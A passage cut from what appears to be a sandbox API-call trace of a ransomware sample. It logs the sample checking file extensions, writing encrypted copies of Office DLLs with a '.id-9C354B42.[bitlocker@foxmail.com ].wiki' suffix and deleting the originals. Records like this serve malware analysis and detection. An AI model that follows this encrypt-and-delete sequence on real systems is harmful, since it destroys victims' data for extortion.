(lpString1=".1cd", lpString2=".DLL") returned -1 [0184.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL") returned 68 [0184.626] lstrlenW (lpString=".jpg") returned 4 [0184.626] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0184.626] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0184.626] lstrlenW (lpString="ACEOLEDB.DLL") returned 12 [0184.626] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0184.627] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=537504) returned 1 [0184.627] CloseHandle (hObject=0x1dc) returned 1 [0184.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll")) returned 0x20 [0184.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0184.627] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0184.627] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0184.627] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0184.627] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0184.628] GetLastError () returned 0x0 [0184.628] ReadFile (in: hFile=0x1dc, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x833a0, lpOverlapped=0x0) returned 1 [0184.640] WriteFile (in: hFile=0x1d0, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0x833b0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0x833b0, lpOverlapped=0x0) returned 1 [0184.649] ReadFile (in: hFile=0x1dc, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0184.649] WriteFile (in: hFile=0x1d0, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0xec, lpOverlapped=0x0) returned 1 [0184.649] SetEndOfFile (hFile=0x1d0) returned 1 [0184.649] CloseHandle (hObject=0x1d0) returned 1 [0184.649] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0184.649] SetEndOfFile (hFile=0x1dc) returned 1 [0185.193] CloseHandle (hObject=0x1dc) returned 1 [0185.193] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0185.432] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll")) returned 1 [0185.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0185.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0185.939] lstrlenW (lpString=".doc") returned 4 [0185.939] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0185.939] lstrlenW (lpString=".docx") returned 5 [0185.939] lstrcmpiW (lpString1=".docx", lpString2="B.DLL") returned -1 [0185.939] lstrlenW (lpString=".pdf") returned 4 [0185.939] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0185.939] lstrlenW (lpString=".xls") returned 4 [0185.939] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0185.939] lstrlenW (lpString=".xlsx") returned 5 [0185.939] lstrcmpiW (lpString1=".xlsx", lpString2="B.DLL") returned -1 [0185.939] lstrlenW (lpString=".ppt") returned 4 [0185.939] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0185.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0185.939] lstrlenW (lpString=".zip") returned 4 [0185.939] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0185.939] lstrlenW (lpString=".rar") returned 4 [0185.940] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0185.940] lstrlenW (lpString=".bz2") returned 4 [0185.940] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0185.940] lstrlenW (lpString=".7z") returned 3 [0185.940] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0185.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0185.940] lstrlenW (lpString=".dbf") returned 4 [0185.940] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0185.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0185.940] lstrlenW (lpString=".1cd") returned 4 [0185.940] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0185.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0185.940] lstrlenW (lpString=".jpg") returned 4 [0185.940] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0185.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0185.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0185.940] lstrlenW (lpString=".doc") returned 4 [0185.940] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0185.940] lstrlenW (lpString=".docx") returned 5 [0185.940] lstrcmpiW (lpString1=".docx", lpString2="B.DLL") returned -1 [0185.940] lstrlenW (lpString=".pdf") returned 4 [0185.940] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0185.940] lstrlenW (lpString=".xls") returned 4 [0185.940] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0185.940] lstrlenW (lpString=".xlsx") returned 5 [0185.940] lstrcmpiW (lpString1=".xlsx", lpString2="B.DLL") returned -1 [0185.940] lstrlenW (lpString=".ppt") returned 4 [0185.940] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0185.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0185.940] lstrlenW (lpString=".zip") returned 4 [0185.940] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0185.940] lstrlenW (lpString=".rar") returned 4 [0185.941] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0185.941] lstrlenW (lpString=".bz2") returned 4 [0185.941] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0185.941] lstrlenW (lpString=".7z") returned 3 [0185.941] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0185.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0185.941] lstrlenW (lpString=".dbf") returned 4 [0185.941] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0185.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0185.941] lstrlenW (lpString=".1cd") returned 4 [0185.941] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0185.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0185.941] lstrlenW (lpString=".jpg") returned 4 [0185.941] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0185.941] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0185.941] lstrlenW (lpString="ACEWSS.DLL") returned 10 [0185.941] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0185.941] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=318368) returned 1 [0185.942] CloseHandle (hObject=0x1f8) returned 1 [0185.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll")) returned 0x20 [0185.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0185.942] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0185.942] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0185.942] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0185.942] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0187.015] GetLastError () returned 0x0 [0187.015] ReadFile (in: hFile=0x1f8, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x4dba0, lpOverlapped=0x0) returned 1 [0187.028] WriteFile (in: hFile=0x1e0, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0x4dbb0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0x4dbb0, lpOverlapped=0x0) returned 1 [0187.036] ReadFile (in: hFile=0x1f8, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0187.036] WriteFile (in: hFile=0x1e0, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0187.036] SetEndOfFile (hFile=0x1e0) returned 1 [0187.036] CloseHandle (hObject=0x1e0) returned 1 [0187.036] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.036] SetEndOfFile (hFile=0x1f8) returned 1 [0187.039] CloseHandle (hObject=0x1f8) returned 1 [0187.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.039] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll")) returned 1 [0187.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0187.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0187.040] lstrlenW (lpString=".doc") returned 4 [0187.040] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0187.040] lstrlenW (lpString=".docx") returned 5 [0187.040] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0187.040] lstrlenW (lpString=".pdf") returned 4 [0187.040] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0187.040] lstrlenW (lpString=".xls") returned 4 [0187.040] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0187.040] lstrlenW (lpString=".xlsx") returned 5 [0187.040] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0187.040] lstrlenW (lpString=".ppt") returned 4 [0187.040] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0187.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0187.040] lstrlenW (lpString=".zip") returned 4 [0187.040] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0187.040] lstrlenW (lpString=".rar") returned 4 [0187.040] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0187.040] lstrlenW (lpString=".bz2") returned 4 [0187.040] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0187.040] lstrlenW (lpString=".7z") returned 3 [0187.040] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0187.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0187.040] lstrlenW (lpString=".dbf") returned 4 [0187.040] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0187.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0187.041] lstrlenW (lpString=".1cd") returned 4 [0187.041] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0187.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0187.041] lstrlenW (lpString=".jpg") returned 4 [0187.041] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0187.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0187.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0187.041] lstrlenW (lpString=".doc") returned 4 [0187.041] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0187.041] lstrlenW (lpString=".docx") returned 5 [0187.041] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0187.041] lstrlenW (lpString=".pdf") returned 4 [0187.041] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0187.041] lstrlenW (lpString=".xls") returned 4 [0187.041] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0187.041] lstrlenW (lpString=".xlsx") returned 5 [0187.041] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0187.041] lstrlenW (lpString=".ppt") returned 4 [0187.041] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0187.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0187.041] lstrlenW (lpString=".zip") returned 4 [0187.041] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0187.041] lstrlenW (lpString=".rar") returned 4 [0187.041] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0187.041] lstrlenW (lpString=".bz2") returned 4 [0187.041] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0187.041] lstrlenW (lpString=".7z") returned 3 [0187.041] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0187.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0187.041] lstrlenW (lpString=".dbf") returned 4 [0187.041] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0187.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0187.042] lstrlenW (lpString=".1cd") returned 4 [0187.042] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0187.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL") returned 66 [0187.042] lstrlenW (lpString=".jpg") returned 4 [0187.042] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0187.042] lstrcmpiW (lpString1=".dll", lpString2=".wiki") returned -1 [0187.042] lstrlenW (lpString="CsiSoap.dll") returned 11 [0187.042] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0187.042] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=1784192) returned 1 [0187.043] CloseHandle (hObject=0x1f8) returned 1 [0187.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll")) returned 0x20 [0187.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.043] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0187.043] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0187.044] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fc6c | out: lpNewFilePointer=0x0) returned 1 [0187.044] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fc2c | out: lpNewFilePointer=0x0) returned 1 [0187.044] ReadFile (in: hFile=0x1f8, lpBuffer=0x3f20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x350fc38, lpOverlapped=0x0 | out: lpBuffer=0x3f20058*, lpNumberOfBytesRead=0x350fc38*=0x40000, lpOverlapped=0x0) returned 1 [0187.048] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x9132a, lpNewFilePointer=0x0, dwMoveMethod=0x350fc2c | out: lpNewFilePointer=0x0) returned 1 [0187.048] ReadFile (in: hFile=0x1f8, lpBuffer=0x3f60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x350fc38, lpOverlapped=0x0 | out: lpBuffer=0x3f60058*, lpNumberOfBytesRead=0x350fc38*=0x40000, lpOverlapped=0x0) returned 1 [0187.054] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x350fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0187.054] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x173980, lpNewFilePointer=0x0, dwMoveMethod=0x350fc2c | out: lpNewFilePointer=0x0) returned 1 [0187.054] ReadFile (in: hFile=0x1f8, lpBuffer=0x3fa0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x350fc38, lpOverlapped=0x0 | out: lpBuffer=0x3fa0058*, lpNumberOfBytesRead=0x350fc38*=0x40000, lpOverlapped=0x0) returned 1 [0187.185] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.185] WriteFile (in: hFile=0x1f8, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x350fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0187.540] SetEndOfFile (hFile=0x1f8) returned 1 [0188.152] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x42f22b8 [0188.156] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fc7c | out: lpNewFilePointer=0x0) returned 1 [0188.156] WriteFile (in: hFile=0x1f8, lpBuffer=0x42f22b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x350fc88, lpOverlapped=0x0 | out: lpBuffer=0x42f22b8*, lpNumberOfBytesWritten=0x350fc88*=0x40000, lpOverlapped=0x0) returned 1 [0188.158] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x9132a, lpNewFilePointer=0x0, dwMoveMethod=0x350fc7c | out: lpNewFilePointer=0x0) returned 1 [0188.158] WriteFile (in: hFile=0x1f8, lpBuffer=0x42f22b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x350fc88, lpOverlapped=0x0 | out: lpBuffer=0x42f22b8*, lpNumberOfBytesWritten=0x350fc88*=0x40000, lpOverlapped=0x0) returned 1 [0188.160] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x173980, lpNewFilePointer=0x0, dwMoveMethod=0x350fc7c | out: lpNewFilePointer=0x0) returned 1 [0188.160] WriteFile (in: hFile=0x1f8, lpBuffer=0x42f22b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x350fc88, lpOverlapped=0x0 | out: lpBuffer=0x42f22b8*, lpNumberOfBytesWritten=0x350fc88*=0x40000, lpOverlapped=0x0) returned 1 [0188.162] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f22b8 | out: hHeap=0x5c0000) returned 1 [0188.162] CloseHandle (hObject=0x1f8) returned 1 [0188.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll") returned 67 [0188.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll") returned 67 [0188.342] lstrlenW (lpString=".doc") returned 4 [0188.342] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0188.342] lstrlenW (lpString=".docx") returned 5 [0188.342] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0188.342] lstrlenW (lpString=".pdf") returned 4 [0188.342] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0188.342] lstrlenW (lpString=".xls") returned 4 [0188.342] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0188.342] lstrlenW (lpString=".xlsx") returned 5 [0188.342] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0188.342] lstrlenW (lpString=".ppt") returned 4 [0188.342] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0188.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll") returned 67 [0188.342] lstrlenW (lpString=".zip") returned 4 [0188.342] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0188.342] lstrlenW (lpString=".rar") returned 4 [0188.342] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0188.356] lstrlenW (lpString=".bz2") returned 4 [0188.356] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0188.356] lstrlenW (lpString=".7z") returned 3 [0188.356] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0188.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll") returned 67 [0188.356] lstrlenW (lpString=".dbf") returned 4 [0188.356] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0188.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll") returned 67 [0188.356] lstrlenW (lpString=".1cd") returned 4 [0188.356] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0188.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll") returned 67 [0188.356] lstrlenW (lpString=".jpg") returned 4 [0188.356] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0188.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll") returned 67 [0188.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll") returned 67 [0188.356] lstrlenW (lpString=".doc") returned 4 [0188.356] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0188.356] lstrlenW (lpString=".docx") returned 5 [0188.356] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0188.357] lstrlenW (lpString=".pdf") returned 4 [0188.357] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0188.357] lstrlenW (lpString=".xls") returned 4 [0188.357] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0188.357] lstrlenW (lpString=".xlsx") returned 5 [0188.357] lstrcmpiW 